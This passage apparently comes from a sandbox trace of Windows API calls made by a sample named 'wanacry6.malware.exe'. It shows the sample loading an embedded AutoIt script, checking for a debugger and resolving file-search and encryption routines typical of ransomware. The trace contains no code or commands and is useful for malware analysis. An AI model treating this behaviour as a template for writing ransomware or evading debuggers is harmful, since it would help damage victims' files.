(normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe")) returned 0x31 [0018.429] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xe8f3defc00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x0) returned 0x31 [0018.430] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xe8f3dffc50, lpFilePart=0xe8f3e0fc60 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0xe8f3e0fc60*="wanacry6.malware.exe") returned 0x31 [0018.430] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0xe8f3e1fd10 | out: phkResult=0xe8f3e1fd10*=0x0) returned 0x2 [0018.430] IsThemeActive () returned 0x1 [0018.430] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0xe8f3e1fd40, fWinIni=0x0 | out: pvParam=0xe8f3e1fd40) returned 1 [0018.431] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 0 [0018.431] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0xe8f3dffd10 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0018.431] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xe8f3defb70, nSize=0x7fff | out: lpFilename="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe")) returned 0x31 [0018.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xe8f3ddfb20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x0) returned 0x31 [0018.432] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0018.432] GetProcAddress (hModule=0x7ffe2a640000, lpProcName=0x7ff756c1b2d0) returned 0x7ffe2a71dbbc [0018.432] Wow64DisableWow64FsRedirection (in: OldValue=0xe8f3dffb80 | out: OldValue=0xe8f3dffb80*=0x0) returned 0 [0018.432] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0018.432] GetCurrentPackageId () returned 0x3d54 [0018.433] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xe8f3dff950, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0018.433] GetFileType (hFile=0x14c) returned 0x1 [0018.433] LoadLibraryExW (lpLibFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0018.433] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0018.433] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0018.433] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0018.433] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0018.433] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xe8f3dffc48 | out: ppstm=0xe8f3dffc48*=0xe8f4027980) returned 0x0 [0018.437] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0018.437] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0018.438] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0018.438] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0018.438] ISequentialStream:RemoteWrite (in: This=0xe8f4027980, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0018.439] IStream:RemoteSeek (in: This=0xe8f4027980, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0018.439] IStream:RemoteSeek (in: This=0xe8f4027980, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xe8f3dffb18 | out: plibNewPosition=0xe8f3dffb18) returned 0x0 [0018.439] ISequentialStream:RemoteRead (in: This=0xe8f4027980, pv=0xe8f4030be0, cb=0x18, pcbRead=0xe8f3dffa60 | out: pv=0xe8f4030be0*=0xa3, pcbRead=0xe8f3dffa60*=0x18) returned 0x0 [0018.439] IStream:RemoteSeek (in: This=0xe8f4027980, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xe8f3dffa60 | out: plibNewPosition=0xe8f3dffa60) returned 0x0 [0018.439] ISequentialStream:RemoteRead (in: This=0xe8f4027980, pv=0xe8f3dffb00, cb=0x4, pcbRead=0xe8f3dffa60 | out: pv=0xe8f3dffb00*=0x45, pcbRead=0xe8f3dffa60*=0x4) returned 0x0 [0018.439] ISequentialStream:RemoteRead (in: This=0xe8f4027980, pv=0xe8f3dffb30, cb=0x10, pcbRead=0xe8f3dffb00 | out: pv=0xe8f3dffb30*=0x4d, pcbRead=0xe8f3dffb00*=0x10) returned 0x0 [0018.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe8f3dff9c0 | out: lpSystemTimeAsFileTime=0xe8f3dff9c0*(dwLowDateTime=0x3ebf2b1e, dwHighDateTime=0x1d31057)) [0018.439] IStream:RemoteSeek (in: This=0xe8f4027980, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xe8f3dffb98 | out: plibNewPosition=0xe8f3dffb98) returned 0x0 [0018.440] IStream:RemoteSeek (in: This=0xe8f4027980, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xe8f3dff470 | out: plibNewPosition=0xe8f3dff470) returned 0x0 [0018.440] ISequentialStream:RemoteRead (in: This=0xe8f4027980, pv=0xe8f3dff220, cb=0x4, pcbRead=0xe8f3dff1f0 | out: pv=0xe8f3dff220*=0x6b, pcbRead=0xe8f3dff1f0*=0x4) returned 0x0 [0018.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe8f3dff0b0 | out: lpSystemTimeAsFileTime=0xe8f3dff0b0*(dwLowDateTime=0x3ebf2b1e, dwHighDateTime=0x1d31057)) [0018.440] ISequentialStream:RemoteRead (in: This=0xe8f4027980, pv=0xe8f3dff488, cb=0x4, pcbRead=0xe8f3dff1f0 | out: pv=0xe8f3dff488*=0xa6, pcbRead=0xe8f3dff1f0*=0x4) returned 0x0 [0018.440] ISequentialStream:RemoteRead (in: This=0xe8f4027980, pv=0xe8f3dff230, cb=0x34, pcbRead=0xe8f3dff1f0 | out: pv=0xe8f3dff230*=0xe1, pcbRead=0xe8f3dff1f0*=0x34) returned 0x0 [0018.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe8f3dff0b0 | out: lpSystemTimeAsFileTime=0xe8f3dff0b0*(dwLowDateTime=0x3ebf2b1e, dwHighDateTime=0x1d31057)) [0018.440] ISequentialStream:RemoteRead (in: This=0xe8f4027980, pv=0xe8f3dff488, cb=0x4, pcbRead=0xe8f3dff1f0 | out: pv=0xe8f3dff488*=0x43, pcbRead=0xe8f3dff1f0*=0x4) returned 0x0 [0018.440] ISequentialStream:RemoteRead (in: This=0xe8f4027980, pv=0xe8f3dff940, cb=0xc6, pcbRead=0xe8f3dff1f0 | out: pv=0xe8f3dff940*=0xcd, pcbRead=0xe8f3dff1f0*=0xc6) returned 0x0 [0018.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe8f3dff0b0 | out: lpSystemTimeAsFileTime=0xe8f3dff0b0*(dwLowDateTime=0x3ebf2b1e, dwHighDateTime=0x1d31057)) [0018.440] ISequentialStream:RemoteRead (in: This=0xe8f4027980, pv=0xe8f3dffb80, cb=0x1, pcbRead=0xe8f3dff470 | out: pv=0xe8f3dffb80*=0x0, pcbRead=0xe8f3dff470*=0x1) returned 0x0 [0018.440] ISequentialStream:RemoteRead (in: This=0xe8f4027980, pv=0xe8f3dff4a0, cb=0x4, pcbRead=0xe8f3dff470 | out: pv=0xe8f3dff4a0*=0xbc, pcbRead=0xe8f3dff470*=0x4) returned 0x0 [0018.440] ISequentialStream:RemoteRead (in: This=0xe8f4027980, pv=0xe8f3dff4a0, cb=0x4, pcbRead=0xe8f3dff470 | out: pv=0xe8f3dff4a0*=0xbc, pcbRead=0xe8f3dff470*=0x4) returned 0x0 [0018.440] ISequentialStream:RemoteRead (in: This=0xe8f4027980, pv=0xe8f3dff4a0, cb=0x4, pcbRead=0xe8f3dff470 | out: pv=0xe8f3dff4a0*=0x84, pcbRead=0xe8f3dff470*=0x4) returned 0x0 [0018.440] IStream:RemoteSeek (in: This=0xe8f4027980, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xe8f3dff470 | out: plibNewPosition=0xe8f3dff470) returned 0x0 [0018.440] ISequentialStream:RemoteRead (in: This=0xe8f4027980, pv=0xe8f40302a0, cb=0x0, pcbRead=0xe8f3dff470 | out: pv=0xe8f40302a0*=0x0, pcbRead=0xe8f3dff470*=0x0) returned 0x0 [0018.440] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe8f3dff330 | out: lpSystemTimeAsFileTime=0xe8f3dff330*(dwLowDateTime=0x3ebf2b1e, dwHighDateTime=0x1d31057)) [0018.440] CloseHandle (hObject=0x14c) returned 1 [0018.440] IUnknown:Release (This=0xe8f4027980) returned 0x0 [0018.440] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0018.441] IsDebuggerPresent () returned 0 [0018.441] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xe8f3ddfbc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x0) returned 0x31 [0018.441] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpszLongPath=0xe8f3ddfbc0, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe") returned 0x31 [0018.442] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xe8f3ddfb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0x0) returned 0x31 [0018.442] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0018.442] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7ffe2a71dbbc [0018.442] Wow64DisableWow64FsRedirection (in: OldValue=0xe8f3defaf0 | out: OldValue=0xe8f3defaf0*=0x0) returned 0 [0018.442] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0018.442] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xe8f3def8c0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c [0018.442] GetFileType (hFile=0x14c) returned 0x1 [0018.442] LoadLibraryExW (lpLibFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", hFile=0x0, dwFlags=0x2) returned 0x7ff756b50000 [0018.443] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0018.443] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7ffe2a71dbcc [0018.443] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 0 [0018.443] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0018.443] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0xe8f3defb70 | out: ppstm=0xe8f3defb70*=0xe8f4027a80) returned 0x0 [0018.443] FindResourceExW (hModule=0x7ff756b50000, lpType=0xa, lpName="SCRIPT", wLanguage=0x0) returned 0x7ff756c3d3d8 [0018.443] LoadResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x7ff756c4e394 [0018.443] SizeofResource (hModule=0x7ff756b50000, hResInfo=0x7ff756c3d3d8) returned 0x9604 [0018.443] LockResource (hResData=0x7ff756c4e394) returned 0x7ff756c4e394 [0018.443] ISequentialStream:RemoteWrite (in: This=0xe8f4027a80, pv=0x7ff756c4e394*=0xa3, cb=0x9604, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0018.443] IStream:RemoteSeek (in: This=0xe8f4027a80, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0018.443] IStream:RemoteSeek (in: This=0xe8f4027a80, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xe8f3defa88 | out: plibNewPosition=0xe8f3defa88) returned 0x0 [0018.443] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f4030e90, cb=0x18, pcbRead=0xe8f3def9d0 | out: pv=0xe8f4030e90*=0xa3, pcbRead=0xe8f3def9d0*=0x18) returned 0x0 [0018.443] IStream:RemoteSeek (in: This=0xe8f4027a80, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0xe8f3def9d0 | out: plibNewPosition=0xe8f3def9d0) returned 0x0 [0018.443] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3defa70, cb=0x4, pcbRead=0xe8f3def9d0 | out: pv=0xe8f3defa70*=0x45, pcbRead=0xe8f3def9d0*=0x4) returned 0x0 [0018.443] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3defaa0, cb=0x10, pcbRead=0xe8f3defa70 | out: pv=0xe8f3defaa0*=0x4d, pcbRead=0xe8f3defa70*=0x10) returned 0x0 [0018.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe8f3def930 | out: lpSystemTimeAsFileTime=0xe8f3def930*(dwLowDateTime=0x3ebf2b1e, dwHighDateTime=0x1d31057)) [0018.443] IStream:RemoteSeek (in: This=0xe8f4027a80, dlibMove=0x0, dwOrigin=0x1, plibNewPosition=0xe8f3defb08 | out: plibNewPosition=0xe8f3defb08) returned 0x0 [0018.443] IStream:RemoteSeek (in: This=0xe8f4027a80, dlibMove=0x28, dwOrigin=0x0, plibNewPosition=0xe8f3def3e0 | out: plibNewPosition=0xe8f3def3e0) returned 0x0 [0018.443] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def190, cb=0x4, pcbRead=0xe8f3def160 | out: pv=0xe8f3def190*=0x6b, pcbRead=0xe8f3def160*=0x4) returned 0x0 [0018.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe8f3def020 | out: lpSystemTimeAsFileTime=0xe8f3def020*(dwLowDateTime=0x3ebf2b1e, dwHighDateTime=0x1d31057)) [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def3f8, cb=0x4, pcbRead=0xe8f3def160 | out: pv=0xe8f3def3f8*=0xa6, pcbRead=0xe8f3def160*=0x4) returned 0x0 [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def1a0, cb=0x34, pcbRead=0xe8f3def160 | out: pv=0xe8f3def1a0*=0xe1, pcbRead=0xe8f3def160*=0x34) returned 0x0 [0018.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe8f3def020 | out: lpSystemTimeAsFileTime=0xe8f3def020*(dwLowDateTime=0x3ebf2b1e, dwHighDateTime=0x1d31057)) [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def3f8, cb=0x4, pcbRead=0xe8f3def160 | out: pv=0xe8f3def3f8*=0x43, pcbRead=0xe8f3def160*=0x4) returned 0x0 [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def8b0, cb=0xc6, pcbRead=0xe8f3def160 | out: pv=0xe8f3def8b0*=0xcd, pcbRead=0xe8f3def160*=0xc6) returned 0x0 [0018.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe8f3def020 | out: lpSystemTimeAsFileTime=0xe8f3def020*(dwLowDateTime=0x3ebf2b1e, dwHighDateTime=0x1d31057)) [0018.444] IStream:RemoteSeek (in: This=0xe8f4027a80, dlibMove=0x1, dwOrigin=0x1, plibNewPosition=0xe8f3def160 | out: plibNewPosition=0xe8f3def160) returned 0x0 [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def198, cb=0x4, pcbRead=0xe8f3def160 | out: pv=0xe8f3def198*=0xbc, pcbRead=0xe8f3def160*=0x4) returned 0x0 [0018.444] IStream:RemoteSeek (in: This=0xe8f4027a80, dlibMove=0x18, dwOrigin=0x1, plibNewPosition=0xe8f3def160 | out: plibNewPosition=0xe8f3def160) returned 0x0 [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def190, cb=0x4, pcbRead=0xe8f3def160 | out: pv=0xe8f3def190*=0x6b, pcbRead=0xe8f3def160*=0x4) returned 0x0 [0018.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe8f3def020 | out: lpSystemTimeAsFileTime=0xe8f3def020*(dwLowDateTime=0x3ebf2b1e, dwHighDateTime=0x1d31057)) [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def3f8, cb=0x4, pcbRead=0xe8f3def160 | out: pv=0xe8f3def3f8*=0xaf, pcbRead=0xe8f3def160*=0x4) returned 0x0 [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def1a0, cb=0x26, pcbRead=0xe8f3def160 | out: pv=0xe8f3def1a0*=0xe6, pcbRead=0xe8f3def160*=0x26) returned 0x0 [0018.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe8f3def020 | out: lpSystemTimeAsFileTime=0xe8f3def020*(dwLowDateTime=0x3ebf2b1e, dwHighDateTime=0x1d31057)) [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def3f8, cb=0x4, pcbRead=0xe8f3def160 | out: pv=0xe8f3def3f8*=0x47, pcbRead=0xe8f3def160*=0x4) returned 0x0 [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def8b0, cb=0xce, pcbRead=0xe8f3def160 | out: pv=0xe8f3def8b0*=0xbf, pcbRead=0xe8f3def160*=0xce) returned 0x0 [0018.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe8f3def020 | out: lpSystemTimeAsFileTime=0xe8f3def020*(dwLowDateTime=0x3ebf2b1e, dwHighDateTime=0x1d31057)) [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3defaf0, cb=0x1, pcbRead=0xe8f3def3e0 | out: pv=0xe8f3defaf0*=0x1, pcbRead=0xe8f3def3e0*=0x1) returned 0x0 [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def410, cb=0x4, pcbRead=0xe8f3def3e0 | out: pv=0xe8f3def410*=0x28, pcbRead=0xe8f3def3e0*=0x4) returned 0x0 [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def410, cb=0x4, pcbRead=0xe8f3def3e0 | out: pv=0xe8f3def410*=0x23, pcbRead=0xe8f3def3e0*=0x4) returned 0x0 [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f3def410, cb=0x4, pcbRead=0xe8f3def3e0 | out: pv=0xe8f3def410*=0xf4, pcbRead=0xe8f3def3e0*=0x4) returned 0x0 [0018.444] IStream:RemoteSeek (in: This=0xe8f4027a80, dlibMove=0x10, dwOrigin=0x1, plibNewPosition=0xe8f3def3e0 | out: plibNewPosition=0xe8f3def3e0) returned 0x0 [0018.444] ISequentialStream:RemoteRead (in: This=0xe8f4027a80, pv=0xe8f4030e90, cb=0x9394, pcbRead=0xe8f3def3e0 | out: pv=0xe8f4030e90*=0x6d, pcbRead=0xe8f3def3e0*=0x9394) returned 0x0 [0018.445] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe8f3def2a0 | out: lpSystemTimeAsFileTime=0xe8f3def2a0*(dwLowDateTime=0x3ebf2b1e, dwHighDateTime=0x1d31057)) [0018.468] IUnknown:Release (This=0xe8f4027a80) returned 0x0 [0018.468] FreeLibrary (hLibModule=0x7ff756b50000) returned 1 [0018.468] GetFullPathNameW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", nBufferLength=0x7fff, lpBuffer=0xe8f3e0fd10, lpFilePart=0xe8f3e1fd58 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe", lpFilePart=0xe8f3e1fd58*="wanacry6.malware.exe") returned 0x31 [0018.469] CharUpperBuffW (in: lpsz="_FO_FILESEARCH", cchLength=0xe | out: lpsz="_FO_FILESEARCH") returned 0xe [0018.469] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0018.469] CharUpperBuffW (in: lpsz="_FO_FOLDERSEARCH", cchLength=0x10 | out: lpsz="_FO_FOLDERSEARCH") returned 0x10 [0018.469] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0018.469] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCHMASK", cchLength=0x15 | out: lpsz="__FO_FOLDERSEARCHMASK") returned 0x15 [0018.470] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0018.470] CharUpperBuffW (in: lpsz="__FO_FOLDERSEARCH", cchLength=0x11 | out: lpsz="__FO_FOLDERSEARCH") returned 0x11 [0018.470] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0018.470] CharUpperBuffW (in: lpsz="__FO_FILESEARCHALL", cchLength=0x12 | out: lpsz="__FO_FILESEARCHALL") returned 0x12 [0018.470] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0018.470] CharUpperBuffW (in: lpsz="__CHEXCLUDEFOLDERS", cchLength=0x12 | out: lpsz="__CHEXCLUDEFOLDERS") returned 0x12 [0018.470] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0018.471] CharUpperBuffW (in: lpsz="__FO_GETLISTMASK", cchLength=0x10 | out: lpsz="__FO_GETLISTMASK") returned 0x10 [0018.471] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0018.471] CharUpperBuffW (in: lpsz="__FO_FILESEARCHTYPE", cchLength=0x13 | out: lpsz="__FO_FILESEARCHTYPE") returned 0x13 [0018.471] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0018.471] CharUpperBuffW (in: lpsz="__FO_FILESEARCHMASK", cchLength=0x13 | out: lpsz="__FO_FILESEARCHMASK") returned 0x13 [0018.471] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0018.471] CharUpperBuffW (in: lpsz="__FO_USERLOCALE", cchLength=0xf | out: lpsz="__FO_USERLOCALE") returned 0xf [0018.472] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0018.472] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0018.472] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0018.472] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0018.472] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0018.472] CharUpperBuffW (in: lpsz="_SENDMESSAGE", cchLength=0xc | out: lpsz="_SENDMESSAGE") returned 0xc [0018.472] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0018.472] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0018.473] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0018.473] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0018.473] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0018.473] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0018.473] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0018.473] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0018.473] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0018.473] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTFILE") returned 0x12 [0018.473] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0018.474] CharUpperBuffW (in: lpsz="_CRYPT_DECRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_DECRYPTDATA") returned 0x12 [0018.474] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0018.474] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0018.474] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0018.474] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0018.474] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0018.474] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0018.474] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: 